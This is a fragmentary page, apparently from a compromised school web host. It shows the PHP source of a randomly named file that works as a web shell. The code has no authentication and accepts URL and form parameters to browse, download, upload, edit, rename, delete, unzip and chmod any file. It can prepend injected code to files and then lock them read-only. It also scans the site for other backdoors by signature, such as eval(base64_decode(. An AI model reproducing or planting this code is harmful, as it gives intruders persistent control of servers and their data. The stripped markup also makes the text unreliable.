芝麻web文件管理V1.00
编辑当前文件:/home/lekhnath/tic.edu.np/EZPGdSXQRcb.php
'; foreach ($arr_files as $key) { $key_e = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $key); echo $key_e.';'.filesize($key)."
\n"; } echo '
'; exit; } ?>
>"; foreach ($all_for_del as $each) { $each = strstr($each, '/'); $each = $_SERVER['DOCUMENT_ROOT'].'/'.$each; $each_for_echo = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each); if (file_exists($each)) { del_file($each); if (!file_exists($each)) echo $each_for_echo." - removed"."\n"; else echo $each_for_echo." - not removed"."\n"; } else echo $each_for_echo." - not found"."\n"; } echo "<>"; exit; } function unzip_file($file) { $for_del = strrchr($file, '/'); $folder_to_save = str_replace($for_del, '', $file); //set_time_limit(0); $zip = new ZipArchive; $zip->open($file); $zip->extractTo($folder_to_save); $zip->close(); echo "
File: $for_del -
unzip successfully
"; } function read_file($file_name) { $list = $file_name; if (file_exists($file_name) and (filesize($file_name)>1)) { $file = fopen($list,"rt"); $arr_file = explode("\n",fread($file,filesize($list))); fclose($file); return $arr_file; } else { $arr_file = array(); return $arr_file; } } function clear_folder($dir) { $d=opendir($dir); while(($entry=readdir($d))!==false) { if ($entry != "." && $entry != "..") { if (is_dir($dir."/".$entry)) { clear_folder($dir."/".$entry); } else { unlink ($dir."/".$entry); } } } closedir($d); rmdir ($dir); } function only_read($file_name) { if (file_exists($file_name) and (filesize($file_name)>1)) { if (!$file = fopen($file_name,"rt")) { if (!chmod($file_name, 0775)) { echo 'can\'t permission for chmod file
'; $original_file = ''; } else // чмоднули, пробуем еще раз открыть файл { if (!$file = fopen($file_name,"rt")) // { echo 'can\'t permission for open file
'; $original_file = ''; } else { $original_file = fread($file,filesize($file_name)); fclose($file); } } } else { $original_file = fread($file,filesize($file_name)); fclose($file); } } return $original_file; } function findshells($start) { global $arr_filename; $files = array(); if (!$handle = opendir($start)) chmod($start, 0755); $handle = opendir($start); while(($file=readdir($handle))!==false) { if ($file!="." && $file !="..") { $startfile = $start."/".$file; if (is_dir($startfile)) findshells($startfile); else { $result = stristr($startfile, $_SERVER['SCRIPT_FILENAME']); if ($result == false) $arr_filename[] = $startfile; } } } closedir($handle); return $arr_filename; } if (isset ($_GET['unzip'])) { unzip_file($_GET['unzip']); } if (isset ($_GET['finder'])) { $domain = $_SERVER['SERVER_NAME']; $script_path = $_SERVER['SCRIPT_NAME']; $finderdata_path = $_SERVER['DOCUMENT_ROOT']."/finderdata.txt"; $good_result_path = $_SERVER['DOCUMENT_ROOT']."/goodfinderdata.txt";; $search_str = 'eval(base64_decode('; $search_str2 = 'Array(base64_decode('; $search_str3 = '@$isbot'; $search_str4 = '@require'; $search_str5 = 'eval(gzuncompress(base64_decode('; $search_str6 = '@include "\x2'; $search_str7 = '$OO'; $search_str8 = 'cache=00'; $search_str9 = 'file_get_contents(\"../index.php\")"'; $search_str10 = 'is_uploaded_file'; $search_str11 = 'base64_decode($_POST'; $search_str12 = 'multipart/form-data'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['DOCUMENT_ROOT']); $f = fopen ($finderdata_path, "a"); foreach ($arr_php_file as $each) { if ($each !== $_SERVER['SCRIPT_FILENAME']) fwrite($f, $each."\n"); } fclose($f); if (file_exists($finderdata_path)) { $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']); $redirect = 'http://'.$redirect.'?finder';; ?> 0) echo count($all_path)." files for check
"; else echo '
Finish!
'; $for_check = read_file($finderdata_path); if (file_exists($finderdata_path) and (filesize($finderdata_path)>1)) { $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']); $redirect = 'http://'.$redirect.'?finder';; ?>
"."
$each
"."
".get_filesize($each)."
$time
".perms($each, '0')."
"."
U
"."
E
"."
O
"."
D
"."
"; } } if (file_exists($finderdata_path)) unlink($finderdata_path); if (file_exists($good_result_path)) unlink($good_result_path); } } } if (isset ($_GET['download'])) { $file_for_save = $_GET['download']; if (file_exists($file_for_save)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file_for_save)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file_for_save)); readfile($_GET['download']); exit; } } ?> 1024) { $filesize = ($filesize/1024); if($filesize > 1024) { $filesize = ($filesize/1024); if($filesize > 1024) { $filesize = ($filesize/1024); $filesize = round($filesize, 1); return $filesize." gb"; } else { $filesize = round($filesize, 1); return $filesize." mb"; } } else { $filesize = round($filesize, 1); return $filesize." kb"; } } else { $filesize = round($filesize, 1); return $filesize." b"; } } function get_time($file) { if(!file_exists($file)) return "no info"; $last_update = filemtime($file); $time = date('Y-m-d H:i:s', $last_update); return $time; } function perms($filename, $check) { $perms = substr(decoct(fileperms($filename)), -3); if ($perms == '644') $color = 'green'; elseif ($perms == '755') $color = '#2EC842'; elseif ($perms == '444') $color = 'brown'; elseif ($perms == '000') $color = 'red'; elseif ($perms == '744') $color = 'orange'; elseif ($perms == '664') $color = 'green'; else $color = 'grey'; if ($check == 1) return $perms; else return "
".$perms."
"; } function CMS() { if ((is_dir($_SERVER['DOCUMENT_ROOT'].'/administrator/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/components/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/includes/'))) return "Joomla!"; elseif ((is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-content/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-admin/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-includes/'))) return "WordPress"; else return "Unknown"; } function folder_separate($path) { $pos_end = strripos($path, '/'); $path2 = substr_replace($path, '', $pos_end, 99999); return $path2; } function side_bar($make_file) { echo '
'; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo "
"; echo '
'; } if (isset($_GET['rename'])) { if (!empty($_POST ['n_name'])) { if (rename($_GET['rename'], $_POST ['n_name'])) $message_rename = '
Name changed!
'; else $message_rename = '
Name can not be changed
'; echo $message_rename; } } function edit_file($file, $current) { if (!empty($_POST['chm'])) { if ($_POST['chm'] == '0755') { if (chmod($file, 0755)) $message_chmod = '
Permission changed!
'; else $message_chmod = '
Unable change permission!
'; } elseif ($_POST['chm'] == '0444') { if (chmod($file, 0444)) $message_chmod = '
Permission changed!
'; else $message_chmod = '
Unable change permission!
'; } elseif ($_POST['chm'] == '0644') { if (chmod($file, 0644)) $message_chmod = '
Permission changed!
'; else $message_chmod = '
Unable change permission!
'; } else $message_chmod = '0755
0444
0644
'; echo $message_chmod; } if (empty($_POST['new'])) { $pos_end = strripos($file, '/'); $dir = substr_replace($file, '', $pos_end, 99999); if (file_exists($file) and (filesize($file)>1)) { if (!$fp = fopen ($file, "r")) { echo 'no have permission
'; $file_cont = 'can\'t show'; } else { $file_cont = fread ($fp, filesize ($file)); fclose ($fp); } } else $file_cont = ''; $file_cont = str_replace ("
", "
", $file_cont); $file_cont = htmlspecialchars($file_cont); echo "
\n"; echo "File: ". $file . "
\n"; echo "
".$file_cont."</textarea>
\n"; echo "
\n"; echo "
\n"; echo "
"; echo "
\n"; echo "
\n"; echo "
"; echo "
\n"; } else { if (!empty($_POST['new_remote'])) { if (!chmod($file, 0755)) return "no have permission for chmod!"; $file_cont = only_read($file); $file_cont = $_POST['new'].$file_cont; $fp = fopen ($file, "w"); if (fwrite ($fp, $file_cont)) $message = ' -
Edited!
'; else $message = ' -
Unable to edit!
'; fclose ($fp); if (!chmod($file, 0444)) return "no have permission for chmod!"; } else { if (!chmod($file, 0755)) return "no have permission for chmod!"; $fp = fopen ($file, "w"); if (fwrite ($fp, $_POST ['new'])) $message = ' -
Edited!
'; else $message = ' -
Unable to edit!
'; fclose ($fp); } $pos_end = strripos($file, '/'); $dir = substr_replace($file, '', $pos_end, 99999); $fp = fopen ($file, "r"); $file_cont = fread ($fp, filesize ($file)); fclose ($fp); $file_cont = str_replace ("
", "
", $file_cont); echo "
\n"; echo "File: ". $file . $message . "
\n"; echo "
".$file_cont."</textarea>
\n"; echo "
\n"; echo "
\n"; echo "
"; echo "
\n"; echo "
\n"; echo "
"; echo "
\n"; if (chmod($file, 0444)) $message_chmod_last = '
Permission changed!
'; else $message_chmod_last = '
Unable change permission!
'; } } if (isset ($_GET['del'])) { if (is_dir($_GET['del'])) clear_folder($_GET['del']); else del_file($_GET['del']); } $domain = $_SERVER['SERVER_NAME']; $script_path = $_SERVER['SCRIPT_NAME']; $arr_folder = array(); $arr_filenames = array(); ?>
'."
File Uploaded!
".'
'; } } elseif(sizeof($_FILES)!=0) echo '
No File Uploaded
'; if (isset ($_GET['dir'])) $path_for_upload = $_SERVER['SCRIPT_NAME'].'?dir='.$_GET['dir']; else $path_for_upload = $_SERVER['SCRIPT_NAME'].'?dir='.$_SERVER['DOCUMENT_ROOT']; ?>
CMS:
Server IP:
Root: '.$_SERVER['DOCUMENT_ROOT'].''; ?>
Directory: '.$arr_path["$i"].'/'; else echo '
'.$arr_path["$i"].'
'; } ?>
File created successfully!'; side_bar($make_file); } else { echo '
Can not create!
'; side_bar($make_file); } fclose ($fp); } elseif (!empty($_POST['new_dir'])) { if (isset($_GET['dir'])) $path = $_GET['dir'].'/'.$_POST['new_dir']; else $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST['new_dir']; $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&new_dir=' . $path; if ($fp = mkdir($path)) { side_bar($make_file); echo "
"."
Folder created successfully!
"."
"; } else { side_bar($make_file); echo "
"."
Can not create folder!
"."
"; } } elseif (!empty($_POST['search_file'])) { $file_name_for_search = $_POST['search_file']; $arr_all_filenames = findshells($_SERVER['DOCUMENT_ROOT']); if (isset ($_GET['dir'])) $dr = $_GET['dir']; else $dr = $_SERVER['DOCUMENT_ROOT']; side_bar($make_file); foreach ($arr_all_filenames as $each_file_name) { $result = stristr($each_file_name, $file_name_for_search); if ($result !== false) { $time = get_time($each_file_name); $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each_file_name); echo "
"."
$each_file_name
"."
".get_filesize($each_file_name)."
$time
".perms($each_file_name, '0')."
"."
U
"."
E
"."
O
"."
D
"."
"; } } } if (isset ($_GET['edit'])) { $current = $domain.$script_path; edit_file($_GET['edit'], $current); } ?>
Name
Size
Modify
Permissions
Actions
"."
$each
"."
dir
$time
".perms($p, '0')."
"."
U
"."
"; $k++; } } foreach ($arr_filenames as $each) { if (isset ($_GET['dir'])) { $p = $_GET['dir'].'/'.$each; $dr = $_GET['dir']; } else { $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each; $dr = $_SERVER['DOCUMENT_ROOT']; } $time = get_time($p); $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $p); if ($k % 2 == 0) $color_bg = '#fff8e7'; else $color_bg = '#ffffe0'; $per = stristr($each, '.zip'); if ($per !== false) $per = "
Z
"; else $per = "
E
"; echo "
"."
$each
"."
".get_filesize($p)."
$time
".perms($p, '0')."
"."
U
".$per."
O
"."
D
"."
"; $k++; } ?>